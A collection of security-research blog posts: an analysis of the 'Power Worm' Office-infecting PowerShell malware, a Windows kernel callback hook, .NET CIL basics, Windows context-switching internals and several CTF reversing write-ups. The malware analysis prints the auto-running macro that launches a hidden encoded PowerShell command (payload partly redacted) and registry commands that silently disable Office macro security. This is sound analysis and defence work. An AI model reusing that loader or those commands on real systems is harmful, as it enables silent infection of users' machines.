Reading view

There are new articles available, click to refresh the page.

Analyzing the "Power Worm" PowerShell-based Malware

On March 27, 2014, Trend Micro revealed the so called “Power Worm” PowerShell-based malware that is actively being used in the wild. With so few publicly reported instances of PowerShell malware in existence, I was excited to get my hands on this most recent strain of PowerShell-based malware. Unable to track it down on my own, I reached out to the security and PowerShell communities. It was with great relief that my friend Lee Holmes – PowerShell developer extraordinaire and author of the Windows PowerShell Cookbook kindly provided me with all of the samples described in the Trend Micro post.

While the Trend Micro post was thorough in its coverage of the broader capabilities of the malware, they did not provide an analysis of its implementation which, as a PowerShell enthusiast and malware analyst, I was very interested in. That said, what follows is my analysis of the mechanics of the Office document infecting malware. Since there were multiple payloads associated with “Power Worm.” I decided to focus on the X97M_CRIGENT.A payload – a malicious Excel spreadsheet.

The targeted Excel macro used in the "Power Worm" campaign

The spreadsheet contains the following macro:

Private Sub Workbook_Open()
b = "JwBDAEkREDACTEDREDACTED" _
& "QA7ACcAcgREDACTEDREDACTED" _
& "BzACgAKQAREDACTEDREDACTED" _
& "jAGUAIAAtREDACTEDREDACTED" _
& "ACAAUwB5AREDACTEDREDACTED" _
& "GcALgBpAGREDACTEDREDACTED" _
& "4AIAAtAGEREDACTEDREDACTED" _
& "AdAAuAHAAREDACTEDREDACTED"
Set a = CreateObject("WScript.Shell")
a.Run "powershell.exe" & " -noexit -encodedcommand " & b, 0, False
End Sub

People have asked, “Wouldn’t the PowerShell execution policy potentially mitigate this attack?” No. First of all, the execution policy should not be viewed as a security mitigation considering PowerShell itself provides the mechanism to bypass it. Second, the execution policy is not honored when a Base64 encoded command is provided to the ‘-EncodedCommand’ parameter. Malware authors know this and will never run into a situation where the execution policy is the reason their malicious PowerShell code was prevented from executing. Having macros disabled by default prevents the initial infection, but all it takes is a naïve victim to click a single button to enable macros.

The ‘Workbook_Open’ function will execute automatically upon opening an Excel spreadsheet (assuming macros are allowed to execute). After decoding the Base64-encoded PowerShell command, you will be presented with an obfuscated mess consisting of the following:

  1. The payload is a single line of semicolon delimited PowerShell commands.
  2. Junk strings that have no impact on the script are inserted between each command.
  3. All variables and function names are randomly generated and have no logical meaning.
  4. Lastly, some functions used in the script are not implemented until a subsequent payload is downloaded from the command and control (C2) server.

I rewrote all of the “Power Worm” malware (redacting key portions) that I was able to obtain so that those interested don’t have to be bogged down with difficult to understand obfuscated code. I also created a PowerWorm GitHub repo where you will find the following code:

  1. The rewritten X97M_CRIGENT.A PowerShell payloads (5 parts in total)
  2. Test-PowerWormInfection – Detects and removes a “Power Worm” infection
  3. Get-ExcelMacro – Outputs and removes Excel spreadsheet macros
  4. Get-WordMacro – Outputs and removes Word document macros

As soon as the macro executes and launches PowerShell, the following code is executed:


  1. Suppress error messages.
  2. Obtain the machine GUID with WMI. This unique value specific to your system is used throughout the malware as a directory name to store downloaded files, registry key names where additional payload are persisted, and as a unique identifier for the C2 server.
  3. Next, If the malware is already persistent in the registry, don’t bother running the payload again. It will execute again at next reboot.
  4. Define a function to resolve DNS TXT records and download and decompress a zip file located at the URI in the resolved TXT record. Both Tor and Polipo are downloaded via this function.
  5. Mark the downloaded file directory as hidden.

The next portion of the payload executes tor and polipo, a requirement for communicating with the C2 server and downloads and executes the next stage of the attack:


For those unfamiliar with common malware techniques, what should be worrisome about the fact that additional PowerShell code is downloaded and executed is that the malware authors have complete control over the downloaded content. The analysis that follows describes the instance of the malware that I downloaded. The malware authors could very well change the payload at any time.

The downloaded payload starts by persisting three additional Base64-encoded payloads to the registry.


The Trend Micro article neglected to mention the two payloads saved in the registry at the following locations:

HKCU:\Software\Microsoft -> {Machine GUID}0
HKCU:\Software\Microsoft -> {Machine GUID}1

$EncodedPayload1 and $EncodedPayload2 are essentially equivalent to the initial payload included in the Excel macro – they serve to reinfect the system and download/execute any additional payloads. $EncodedPayload3 contains all the logic to infect Office documents.

The malware then collects information about the compromised system and uploads it to the C2 server. 


Finally, the Office document infection functions are called and if an additional payload is available, it is executed. I was unable to retrieve the additional payload during my analysis.


The Office document infection payload implements the following functions:

  1. Start-NewDriveInfection – Registers a WMI event that detects when a new drive is added (e.g. USB thumb drive) and infects all Office documents present on the drive
  2. Invoke-OfficeDocInfection – Infects all Office documents on the drive letter specified
  3. Start-ExistingDriveInfection – Registers a FileSystemWatcher event to detect and infect newly created Office documents
  4. Set-OfficeDocPayload – Adds a macro to the specified Office document
  5. New-MaliciousMacroPayload – Generates a macro based upon one of the payloads present in the registry
  6. Set-ExcelDocumentMacroPayload – Infects an Excel spreadsheet
  7. Set-WordDocumentMacroPayload – Infects a Word document

In order to programmatically create/modify/remove Excel and Word macros, macro security must be disabled in the registry with these commands:

Set-ItemProperty HKCU:\Software\Microsoft\Office\*\*\Security -Name AccessVBOM -Type DWORD -Value 1
Set-ItemProperty HKCU:\Software\Microsoft\Office\*\*\Security -Name VBAWarnings -Type DWORD -Value 1 

After the registry values are set, you will no longer be prompted to enable macros. They will execute automatically without your knowledge. Also, be mindful that if a macro is present in an Office document and you attempt to analyze it with the Word.Application and Excel.Application COM objects, the macro security settings are not honored and the macro will execute without your permission. Before opening an Office document with the COM objects, you must explicitly disallow the execution of macros by setting the ‘AutomationSecurity’ property to ‘msoAutomationSecurityForceDisable’.

The Word document infector is implemented as follows:


What’s interesting is that once the macro is written to the Word document, it is downgraded to a ‘macro-enabled’ .doc file.

Once a document or spreadsheet is infected, it will download and execute another PowerShell payload. I was unable to successfully download any additional payloads during my analysis. Either I was not emulating C2 communication properly or the payload was not made available at the time.

So in the end, I was rather impressed by the effectiveness of which the PowerShell payloads infected Office documents. It has yet to be seen though the true power of this malware until additional malicious payloads can be downloaded from the C2 server.

Should you become the victim of a “Power Worm” infection or any malicious Office document for that matter, I’ve provided tools to detect and remove “Power Worm” and Word/Excel macros. You can download these tools from my Github repo.

PowerShell Summit 2014

Yesterday, I gave two presentations at the PowerShell Summit. The first presentation was on advanced eventing techniques in PowerShell and the second was on using PowerShell as a reverse engineering tool. As it turns out, PowerShell is an awesome tool for automating the analysis of .NET malware samples. I’ve included the slides for each talk. Additionally, you can download all of my demo code here. Just be mindful that this is all PoC code so it’s not in a well-polished state. Note: I provided the MD5 hashes of the malware samples but I won’t be providing a direct download link for them. Enjoy!


As a security professional, attending the PowerShell Summit is a great opportunity for me to meet and mingle with those outside of the security field as it forces me to get out of my security bubble and gain a completely different perspective from a wide range of IT pros and developers who are using PowerShell for completely non-malicious purposes ;)! Not to mention, getting to pick the brains of Microsoft employees like Jeffrey Snover, Lee Holmes, Jason Shirk, and Joe Bialek is humbling to say the least.






OkayToCloseProcedure callback kernel hook

Hi ,

During the last few weeks I was busy exploring the internal working of Handles under Windows , by disassembling and decompiling certain kernel (ntoskrnl.exe) functions under my Windows 7 32-bit machine.In the current time I am preparing a paper to describe and explain what I learned about Handles. But today I’m here to discuss an interesting function pointer hook that I found while decompiling and exploring the ObpCloseHandleEntry function. (Source codes below).

A function pointer hook consists of overwriting a callback function pointer so when a kernel routine will call the callback function, the hook function will be called instead . The function pointer that we will be hooking in this article is the OkayToCloseProcedure callback that exists in the _OBJECT_TYPE_INITIALIZER structure which is an element of the OBJECT_TYPE struct.

Every object in Windows has an OBJECT_TYPE structure which specifies the object type name , number of opened handles to this object type ...etc OBJECT_TYPE also stores a type info structure (_OBJECT_TYPE_INITIALIZER) that has a group of callback functions (OpenProcedure ,CloseProcedure…) . All OBJECT_TYPE structures pointers are stored in the unexported ObTypeIndexTable array.

As I said earlier , the OkayToCloseProcedure is called inside ObpCloseHandleEntry function.In general this function (if the supplied handle is not protected from being closed) frees the handle table entry , decrements the object’s handle count and reference count.
Another case when the handle will not be closed is if the OkayToCloseProcedure returned 0 , in this case the ObpCloseHandleTableEntry returns STATUS_HANDLE_NOT_CLOSABLE.
I will discuss handles in more details in my future blog posts.

So how the OkayToCloseProcedure is called ?

ObpCloseHandleTableEntry function actually gets the Object (which the handle is opened to) header (_OBJECT_HEADER). A pointer to the object type structure (_OBJECT_TYPE) is then obtained by accessing the ObTypeIndexTable array using the Object Type Index from the object header (ObTypeIndexTable[ObjectHeader->TypeIndex]).

The function will access the OkayToCloseProcedure field and check if it’s NULL , if that’s true the function will proceed to other checks (check if the handle is protected from being closed). If the OkayToCloseProcedure field isn’t NULL , the function will proceed to call the callback function. If the callback function returns 0 the handle cannot be closed and ObpCloseHandleTableEntry will return STATUS_HANDLE_NOT_CLOSABLE. If it returns a value other than 0 we will proceed to the other checks as it happens when the OkayToCloseProcedure is NULL.

An additional point is that the OkayToCloseProcedure must always run within the context of the process that opened the handle in the first place (a call to KeStackAttachProcess). I don’t think that this would be a problem if ObpCloseHandleTableEntry is called as a result of calling ZwClose from usermode because we’ll be running in the context of the process that opened the handle.However, if ZwClose was called from kernel land and was supplied a kernel handle KeStackAttachProcess will attach the thread to the system process. The reason behind that is that we always want to access the right handle table (each process has a different handle table, and for the kernel we have the system handle table).

So if ObpCloseHandleTableEntry is called from another process context and is trying to close another process’s handle, the OkayToCloseProcedure must run in that process context. That’s why ObpCloseHandleTableEntry takes a pointer to the process object (owner of the handle) as a parameter.

Applying the hook :

Now after we had a quick overview of what’s happening , let’s try and apply the hook on the OBJECT_TYPE_INITIALIZER’s OkayToCloseProcedure field.
I applied the hook on the Process object type , we can obtain a pointer to the process object type by taking advantage of the exported PsProcessType , it’s actually a pointer to a pointer to the process’s object type.

Here’s a list containing the exported object types :
POBJECT_TYPE *ExEventObjectType;
POBJECT_TYPE *ExSemaphoreObjectType;
POBJECT_TYPE *IoFileObjectType;
POBJECT_TYPE *PsThreadType;
POBJECT_TYPE *SeTokenObjectType;
POBJECT_TYPE *PsProcessType;
POBJECT_TYPE *TmEnlistmentObjectType;
POBJECT_TYPE *TmResourceManagerObjectType;
POBJECT_TYPE *TmTransactionManagerObjectType;
POBJECT_TYPE *TmTransactionObjectType;


A second way to get an object’s type is by getting an existing object’s pointer and then pass it to the exported kernel function ObGetObjectType which will return a pointer to the object’s type.

A third way is to get a pointer to the ObTypeIndexTable array, it’s unexported by the kernel but there are multiple functions using it including the exported ObGetObjectType function.So the address can be extracted from the function's opcodes , but that will introduce another compatibility problem. After getting the pointer to the ObTypeIndexTable you'll have to walk through the whole table and preform a string comparison to the target's object type name ("Process","Thread" ...etc) against the Name field in each _OBJECT_TYPE structure.

In my case I hooked the Process object type , and I introduced in my code the 1st and the 2nd methods (second one commented).
My hook isn’t executing any malicious code !! it’s just telling us (using DbgPrint) that an attempt to close an open handle to a process was made.
“An attempt” means that we’re not sure "yet" if the handle will be closed or not because other checks are made after a successful call to the callback.And by a successful call , I mean that the callback must return a value different than 0 that’s why the hook function is returning 1. I said earlier that the ObpCloseHandleTableEntry will proceed to check if the handle is protected from being closed  (after returning from the callback) if the OkayToCloseProcedure is null or if it exists and returns 1 , that's why it’s crucial that our hook returns 1.One more thing , I’ve done a small check to see if the object type’s OkayToCloseProcedure is already NULL before hooking it (avoiding issues).

Example :
For example when closing a handle to a process opened by OpenProcess a debug message will display the handle value and the process who opened the handle.
As you can see "TestOpenProcess.exe" just closed a handle "0x1c" to a process that it opened using OpenProcess().


P.S : The hook is version specific.


Source codes :
Decompiled ObpCloseHandleTableEntry : http://pastebin.com/QL0uaCtJ
Driver Source Codehttp://pastebin.com/Z2zucYGZ


Your comments are welcome.

Souhail Hammou.

@Dark_Puzzle

.NET Method Internals - Common Intermediate Language (CIL) Basics

For those who have had the privilege of reverse engineering heavily obfuscated .NET code, you've probably encountered cases where your decompiler of choice completely fails (or even crashes in an epic fashion) upon attempting to decompile certain methods. Decompilation failure is often one of the intended goals of .NET obfuscator developers. Fortunately, all of the decompiler utilities are also disassemblers and it is exceedingly rare that your tool of choice will fail to disassemble an unruly method. In the cases where you're forced to work with a disassembled method, a basic understanding of .NET bytecode - i.e. Common Intermediate Language (CIL) is required.

Nearly all .NET methods are comprised of an array of CIL instructions and arguments to the instructions. These instructions are all thoroughly documented. CIL instructions manipulate values on what is referred to as the evaluation stack. CIL instructions can push values onto the stack, pop them off the stack, and perform operations on the values at the top off the stack. Let's see this in action. For this example, we're going to analyze a .NET method that implements a bitwise right circular shift - System.Security.Cryptography.SHA256Managed.RotateRight(uint x, int n).

Here is the decompiled method as seen in ILSpy:


This method takes two arguments - a uint32 (x) which represents the value to be rotated and an int32 (n) which represents the number of rotations to perform. For those unfamiliar with the bitwise rotate operation, please read about it here. Since there is no .NET rotate right operator, the code above is the logical equivalent.

Now, let's assume for a moment that the decompiler failed to decompile the method. In that case, change C# in the language tab to IL in ILSpy. You'll be presented with the following CIL disassembly listing:


Before delving into the CIL instructions, there are some additional properties described in the disassembly that were hidden to you in the decompiled output:

1) cil managed

This indicates that the method is implemented with CIL instructions and that "the body of the method is not defined, but is produced by the runtime." - ECMA-335

2) RVA 0x152A65

The relative virtual address of the method in the DLL or EXE that implements the method - i.e. location of the method within the DLL or EXE.

3) .maxstack 8

Specifies the maximum number of elements required on the evaluation stack during the execution of the method.
This number is emitted by the compiler and is required by the .NET runtime. Note: this value can be higher than what is actually required. As we will see, this method actually only requires four stack slots.

4) Code size 17 (0x11)

The total size of all CIL instructions and arguments.

What's interesting in the disassembly is the presence of binary and instructions which are not present in the decompiled output. As you will see, and'ing the shift value (n) by 31 (0x1F) compensates for when the shift value is larger than 31 (the size, in bits on a uint32 minus 1). In our example, we will perform the following operation: 8 ROR 33 which is the equivalent of 8 ROR 1 (32 + 1). The binary and operations serve to convert values greater than 31 to their equivalent value that lies between 0 and 31.

Now, lets validate that when executed, 8 ROR 33 and 8 ROR 1 generate the same result - 4. Since RotateRight is a Nonpublic (i.e. private) method, we'll need to use reflection to invoke it In PowerShell.

$SHA256Managed = [IntPtr].Assembly.GetType('System.Security.Cryptography.SHA256Managed')
$BindingFlags = [Reflection.BindingFlags] 'NonPublic, Static'
$ROR = $SHA256Managed.GetMethod('RotateRight', $BindingFlags)
$ROR.Invoke($null, @([UInt32] 8, 1))
$ROR.Invoke($null, @([UInt32] 8, 33))


They do indeed result in the same value, as expected.

Let's step through each CIL instruction, observing the effect of each instruction on the evaluation stack.


For more information on CIL and .NET internals, I highly recommend you check out the following:
  1. ECMA C# and Common Language Infrastructure Standards
  2. OpCodes Class
  3. The Common Language Infrastructure Annotated Standard
  4. Metaprogramming in .NET

Windows Internals - Quantum end context switching

Hello,
Lately I decided to start sharing the notes I gather , almost daily , while reverse engineering and studying Windows. As I focused in the last couple of days on studying context switching , I was able to decompile the most involved functions and study them alongside with noting the important stuff. The result of this whole process was a flowchart.

Before getting to the flowchart let's start by putting ourselves in the main plot :
As you might know, each thread runs for a period of time before another thread is scheduled to run, excluding the cases where the thread is preempted ,entering a wait state or terminated. This time period is called a quantum. Everytime a clock interval ends (mostly 15 ms) the system clock issues an interrupt.While dispatching the interrupt, the thread current cycle count is verified against its cycle count target (quantum target) to see if it has reached or exceeded its quantum so the context would be switched the next thread scheduled to run.
Note that a context-switch in Windows doesn't happen only when a thread has exceeded its quantum, it also happens when a thread enters a wait state or when a higher priority thread is ready to run and thus preempts the current thread.

As it will take some time to organize my detailed notes and share them here as an article (maybe for later),consider the previous explanation as a small introduction into the topic. However ,the flowchart goes through the details involved in quantum end context switching.

Please consider downloading the pdf  to be able to zoom as much as you like under your PDF reader because GoogleDocs doesn't provide enough zooming functionality to read the chart.

Preview (unreadable) :


PDF full size Download  : GoogleDocs Link

P.S :
- As always , this article is based is on : Windows 7 32-bit
- Note that details concerning the routine that does the context switching (SwapContext) aren't included in the chart and are left it for a next post.

See you again soon.

-Souhail.

Windows Internals - A look into SwapContext routine

Hi,
 
Here I am really taking advantage of my summer vacations and back again with a second part of the Windows thread scheduling articles. In the previous blog post I discussed the internals of quantum end context switching (a flowchart). However, the routine responsible for context switching itself wasn't discussed in detail and that's why I'm here today.

Here are some notes that'll help us through this post :
 1 - The routine which contains code that does context switching is SwapContext and it's called internally by KiSwapContext. There are some routines that prefer to call SwapContext directly and do the housekeeping that KiSwapContext does themselves.
 2 - The routines above (KiSwapContext and SwapContext) are implemented in ALL context switches that are performed no matter what is the reason of the context switch (preemption,wait state,termination...).
 3 - SwapContext is originally written in assembly and it doesn't have any prologue or epilogue that are normally seen in ordinary conventions, imagine it like a naked function.
 4 - Neither SwapContext or KiSwapContext is responsible for setting the CurrentThread and NextThread fields of the current KPRCB. It is the responsibility of the caller to store the new thread's KTHREAD pointer into pPrcb->CurrentThread and queue the current thread (we're still running in its context) in the ready queue before calling KiSwapContext or SwapContext which will actually perform the context-switch.
 Usually before calling KiSwapContext, the old irql (before raising it to DISPATCH_LEVEL) is stored in CurrentThread->WaitIrql , but there's an exception discussed later in this article.

So buckle up and let's get started :
Before digging through SwapContext let's first start by examining what its callers supply to it as arguments.
SwapContext expects the following arguments:
- ESI : (PKTHREAD) A pointer to the New Thread's structure.
- EDI : (PKTHREAD) A pointer to the old thread's structure.
- EBX : (PKPCR) A pointer to PCR (Processor control region) structure of the current processor.
- ECX : (KIRQL) The IRQL in which the thread was running before raising it to DISPATCH_LEVEL.
By callers, I mean the KiSwapContext routine and some routines that call SwapContext directly (ex : KiDispatchInterrupt).
Let's start by seeing what's happening inside KiSwapContext :
This routine expects 2 arguments the Current thread and New thread KTHREAD pointers in ECX and EDX respectively (__fastcall).
Before storing both argument in EDI and ESI, It first proceeds to save these and other registers in the current thread's (old thread soon) stack:
EBP : The stack frame base pointer (SwapContext only updates ESP).
EDI : The caller might be using EDI for something else ,save it.
ESI : The caller might be using ESI for something else ,save it too.
EBX : The caller might be using EBX for something else ,save it too.
Note that these registers will be popped from this same thread's stack when the context will be switched from another thread to this thread again at a later time (when it will be rescheduled to run).
After pushing the registers, KiSwapContext stores the self pointer to the PCR in EBX (fs:[1Ch]).Then it stores the CurrentThread->WaitIrql value in ECX, now that everything is set up KiSwapContext is ready to call SwapContext.

Again, before going through SwapContext let me talk about routines that actually call SwapContext directly and exactly the KiDispatchInterrupt routine that was referenced in my previous post.
Why doesn't KiDispatchInterrupt call KiSwapContext ?
Simply because it just needs to push EBP,EDI and ESI onto the current thread's stack as it already uses EBX as a pointer to PCR.

Here, we can see a really great advantage of software context switching where we just save the registers that we really need to save, not all registers.

Now , we can get to SwapContext and explain what it does in detail.
The return type of SwapContext is a boolean value that tells the caller (in the new thread's stack) whether the new thread has any APCs to deliver or not.

Let's see what SwapContext does in these 15 steps:

1 - The first thing that SwapContext does is verify that the new thread isn't actually running , this is only right when dealing with a multiprocessor system where another processor might be actually running the thread.If the new thread is running SwapContext just loops until the thread stops running. The boolean value checked is NewThread->Running and after getting out of the loop, the Running boolean is immediately set to TRUE.

2 - The next thing SwapContext does is pushing the IRQL value supplied in ECX. To spoil a bit of what's coming in the next steps (step 13) SwapContext itself pops ECX later, but after the context switch. As a result we'll be popping the new thread's pushed IRQL value (stack switched).

3 - Interrupts are disabled, and PRCB cycle time fields are updated with the value of the time-stamp counter. After the update, Interrupts are enabled again.

4 - increment the count of context switches in the PCR (Pcr->ContextSwitches++;) , and push Pcr->Used_ExceptionList which is the first element of PCR (fs:[0]). fs:[0] is actually a pointer to the last registered exception handling frame which contains a pointer to the next frame and also a pointer to the handling routine (similar to usermode), a singly linked list simply. Saving the exception list is important as each thread has its own stack and thus its own exception handling list.

5 - OldThread->NpxState is tested, if it's non-NULL, SwapContext proceeds to saving the floating-points registers and FPU related data using fxsave instruction. The location where this data is saved is in the initial stack,and exactly at (Initial stack pointer - 528 bytes) The fxsave output is 512 bytes long , so it's like pushing 512 bytes onto the initial stack , the other 16 bytes are for stack-alignment I suppose.The Initial stack is discussed later during step 8.

6 - Stack Swapping : Save the stack pointer in OldThread->KernelStack and load NewThread->KernelStack into ESP. We're now running in the new thread's stack, from now on every value that we'll pop was previously pushed the last time when the new thread was preparing for a context-switch.

7 - Virtual Address Space Swapping : The old thread process is compared with the new thread's process if they're different CR3 register (Page directory pointer table register) is updated with the value of : NewThread->ApcState.Process->DirectoryTableBase. As a result, the new thread will have access to a valid virtual address space. If the process is the same, CR3 is kept unchanged. The local descriptor table is also changed if the threads' processes are different.

8 -  TSS Esp0 Switching : Even-though I'll dedicate a future post to discuss TSS (task state segment) in detail under Windows , a brief explanation is needed here. Windows only uses one TSS per processor and uses only (another field is also used but it is out of the scope of this article) ESP0 and SS0 fields which stand for the kernel stack pointer and the kernel stack segment respectively. When a usermode to kernelmode transition must be done as a result of an interrupt,exception or system service call... as part of the transition ESP must be changed to point to the kernel stack, this kernel stack pointer is taken from TSS's ESP0 field. Logically speaking, ESP0 field of the TSS must be changed on every context-switch to the kernel stack pointer of the new thread. In order to do so, SwapContext takes the kernel stack pointer at NewThread->InitialStack (InitialStack = StackBase - 0x30) ,it substrats the space that it has used to save the floating-point registers using fxsave instruction and another additional 16 bytes for stack alignment, then it stores the resulted stack pointer in the TSS's Esp0 field : pPcr->TssCopy.Esp0 (TSS can be also accessed using the TR segment register).

9 - We've completed the context-switch now and the old thread can be finally marked as "stopped running" by setting the previously discussed boolean value "Running" to FALSE. OldThread->Running = FALSE.

10 - If fxsave was previously executed by the new thread (the last time its context was switched), the data (floating-point registers...) saved by it is loaded again using xrstor instruction.

11 - Next the TEB (Thread environment block) pointer is updated in the PCR :
pPcr->Used_Self = NewThread->Teb . So the Used_Self field of the PCR points always to the current thread's TEB.

12 - The New thread's context switches count is incremented (NewThread->ContextSwitches++).

13 - It's finally the time to pop the 2 values that SwapContext pushed , the pointer to the exception list and the IRQL from the new thread's stack. the saved IRQL value is restored in ECX and the exception list pointer is popped into its field in the PCR.

14 - A check is done to see if the context-switch was performed from a DPC routine (Entering a wait state for example) which is prohibited. If pPrcb->DpcRoutineActive boolean is TRUE this means that the current processor is currently executing a DPC routine and SwapContext will immediately call KeBugCheck which will show a BSOD : ATTEMPTED_SWITCH_FROM_DPC.

15 - This is the step where the IRQL (NewThread->WaitIrql) value stored in ECX comes to use. As mentionned earlier SwapContext returns a boolean value telling the caller if it has to deliver any pending APCs. During this step SwapContext will check the new thread's ApcState to see if there are any kernel APCs pending. If there are : a second check is performed to see if special kernel APCs are disabled , if they're not disabled ECX is tested to see if it's PASSIVE_LEVEL, if it is above PASSIVE_LEVEL an APC_LEVEL software interrupt is requested and the function returns FALSE. Actually the only case that SwapContext returns TRUE is if ECX is equal to PASSIVE_LEVEL so the caller will proceed to lowering IRQL to APC_LEVEL first to call KiDeliverApc and then lower it to PASSIVE_LEVEL afterwards.

Special Case :
This special case is actually about the IRQL value supplied to SwapContext in ECX. The nature of this value depends on the caller in such way that if the caller will lower the IRQL immediately upon returning from SwapContext or not.
Let's take 2 examples : KiQuantumEnd and KiExitDispatcher routines. (KiQuantumEnd is the special case)

If you disassemble KiExitDispatcher you'll notice that before calling KiSwapContext it stores the OldIrql (before it was raised to DISPATCH_LEVEL) in the WaitIrql of the old thread so when the thread gains execution again at a later time SwapContext will decide whether there any APCs to deliver or not. KiExitDispatcher makes use of the return value of KiSwapContext (KiSwapContext returns the same value returned by SwapContext) to lower the IRQL. (see step 15 last sentence).
However, by disassembling KiQuantumEnd you'll see that it's storing APC_LEVEL at the old thread's WaitIrql without even caring about in which IRQL the thread was running before. If you refer back to my flowchart in the previous article you'll see that KiQuantumEnd always insures that SwapContext returns FALSE , first of all because KiQuantumEnd was called as a result of calling KiDispatchInterrupt which is meant to be called when a DISPATCH_LEVEL software interrupt was requested.Thus, KiDispatchInterrupt was called by HalpDispatchSoftwareInterrupt which is normally called by HalpCheckForSoftwareInterrupt. HalpDispatchSoftwareInterrupt is the function responsible for raising the IRQL to the software interrupt level (APC_LEVEL or DISPATCH_LEVEL) and upon returning from it HalpCheckForSoftwareInterrupt recovers back the IRQL to its original value (OldIrql). So the reason why KiQuantumEnd doesn't care about KiSwapContext return value because it won't proceed to lowering the IRQL (not its responsibility) nor to deliver any APCs that's why it's supplying APC_LEVEL as an old IRQL value to SwapContext so that it will return FALSE. However, a software interrupt might be requested by SwapContext if there are any pending APCs.
KiDispatchInterrupt which calls SwapContext directly uses the same approach as KiQuantumEnd, instead of storing the value at OldThread->WaitIrql it just moves it into ECX.

Post notes :
- Based on Windows 7 32 bit :>
- For any questions or suggestions feel free to leave a comment below or send me an email : [email protected]

See you again soon :)

-Souhail

NoConName 2014 - inBINcible Reversing 400 Writeup

Hello,
We (Spiderz) have finished 26th at the NCN CTF this year with 2200 points and we really did enjoy playing. I was able to solve both cannaBINoid (300p) and (inBINcible 400p) .I have actually found 2 solutions for inBINcible that I'll describe separately later in this write-up.

We were given an 32-bit ELF binary compiled from Golang (GO Programming Language).
The main function is "text" (also called main.main) and it is where interesting stuff happens. While digging through this routine the os_args array caught my attention, around address 0x08048DB3 it will access the memory location pointed by os_args+4 and compare its content to 2. This value is nothing but the number of command line arguments given to the executable (argc in C), so the binary is expecting a command line argument which is in fact the key.
By looking at the next lines , I saw an interesting check :
.text:08048EFE                 mov     ebx, dword ptr ds:os_args
.text:08048F04                 add     ebx, 8
.text:08048F07                 mov     esi, [ebx+4]
.text:08048F0A                 mov     ebx, [esp+0C0h+var_54]
.text:08048F0E                 mov     ebp, [ebx+4]
.text:08048F11                 cmp     esi, ebp
.text:08048F13                 jz      loc_8049048
As it's the first time I encounter GOlang I though that it was better to use GDB alongside with IDA so I fired up my linux machine , put a breakpoint on  0x08048F11 , gave the binary a 4 bytes long command line argument (./inbincible abcd) and then I examined both ESI and EBP .
esi = 0x4
ebp = 0x10
You can easily notice tha abcd length is 4 and the right length that should be given is 16 , we can safely assume now that the flag length is 16 bytes.
Note :
The instruction which initializes the flag length to 0x10 is this one (examine instructions before it)
.text:08048D05                 mov     [ebx+4], edi

If the length check is true runtime_makechan function will be called (0x08049073) which creates a channel as its name implies. After that we'll enter immediately a loop that will get to initializing some structure fields then calling  runtime_newproc for each character in the flag (16 in total). One of the variables is initialized with  "main_func_001" and it can be seen as the handler that is called when chanrecv is called.
After breaking out of the loop, ECX is set to 1 and then we'll enter another loop (0x080490DD). This loop calls chanrecv for each character in the input (under certain circumstances). chanrecv is supplied the current index of the input and a pointer to a local variable which I named success_bool. Basically our main routine will supply a pointer to success_bool to the channel which will assign another thread (probably the one created using runtime_newproc) executing the main_func_001 to do some checks then write a TRUE or FALSE value into the variable. After returning from chanrecv the boolean will be checked. If it's TRUE ecx will keep its value ( 1 ) and we'll move to the next character. However if main_func_001 has set the boolean to false ecx will be zeroed and the other characters of the user input won't be checked (fail).
I have actually found 2 methods to approach this challenge (with bruteforcing and without bruteforcing) :

1 - Getting the flag using bruteforce :

This solution consists of automating the debugger (GDB) to supply a 16 bytes length string as an argument , the current character (we basically start with the first character) will be changed during each iteration using a charset and the next character will be left unchanged until we've found the right current character of the key and so on. To find the right character we must break after returning from chanrecv then read the local variable (boolean) value , if it's 1 then we've got the right character and we shall save it then move to the next one, else we'll keep looking until finding the right one.

Here's a python GDB script that explains it better :


flag : G0w1n!C0ngr4t5!!

2 - Getting the key by analyzing main_func_001 :


As main_func_001 is the one responsible for setting the boolean value, analyzing this routine will give us the possibility to get the flag without any bruteforcing. Let's see what it does :
main_func_001 expects the boolean variable pointer and the index of the character to be tested. This index , as mentionned earlier, is the iterator of the loop which has called chanrecv.
For the purpose of checking each character main_func_001 uses 2 arrays , I called the first 5 bytes sized array Values_Array. The second array size is 16 bytes , same length as the password.
So here's how we can get the flag using the 2 arrays :

flag : G0w1n!C0ngr4t5!!

The final key to validate the challenge is NcN_sha1(G0w1n!C0ngr4t5!!)

Binary download : Here

Follow me on Twitter : Here

See you soon :>

CSAW CTF 2014 - Ish Exploitation 300 Write-up

Hi,
This time with a quick writeup . Well , I took some time to reverse the binary under IDA and I soon discovered that the vulnerability was a memory leak which leaks 16 bytes from the stack and the vulnerable function was cmd_lotto, here's the full exploit :

I'll publish a writeup for exploitation 400 ( saturn ) as soon as possible.

Download binary : Here
Follow me on Twitter : Here

See you soon :).

- Souhail

CSAW CTF 2014 - "saturn" Exploitation 400 Write-up

Hi,

The description for this task was :

    You have stolen the checking program for the CSAW Challenge-Response-Authentication-Protocol system. Unfortunately you forgot to grab the challenge-response keygen algorithm (libchallengeresponse.so). Can you still manage to bypass the secure system and read the flag?

    nc 54.85.89.65 8888

I grabbed the binary , threw it in IDA and then started looking at the main routine. The first function that was called in main was _fillChallengeResponse and it takes two arguments . I named them : fill_arg0 and fill_arg4.
A quick check reveals that this function is imported from an external library (the one we 'forgot' to grab). Also by checking the arguments passed to the function they appear to be pointers , each pointer points to a 32 bytes array in the bss section.We can also see that the first array is directly followed by the next one.


As fillChallengeResponse is given 2 pointers , we can safely guess that its mission is to fill them with the right data.

Let's carry on :


Next, we will enter this loop. Its was previously initialized to 0 and we'll quit the loop only if the iterator is strictly above 0. In this loop, we are first prompted to supply an input in which only the first byte is read , the byte is saved at [esp+1Bh] and the switch statement only uses the highest order nibble of the read byte.
If the switch statement was supplied 0xA0 , it will lead to retrieving the original read byte (0xA2 for example) and then call a function that will access the Array1 and print the dword at the index described by the lowest order nibble of the read byte multiplied by 4 ((0xA2 & 0xF)*4 = 8 for example).
If the switch statement was supplied 0xB0 , the executed block of code will retrieve the original read byte and then call a function that will wait for user input and then compare that input to the dword indexed by the lowest orded nibble of the original byte multiplied by 4 in Array2. If the 2 values are equal another 8 sized array of bytes will be accessed and 1 is written into the same index indicated by the lowest order nibble.
If the switch statement was supplied 0x80 , it will call a function that walk through the array of bytes checking if all the elements are equal to 1. If it's the case , the function will print the contents of "flag.txt".

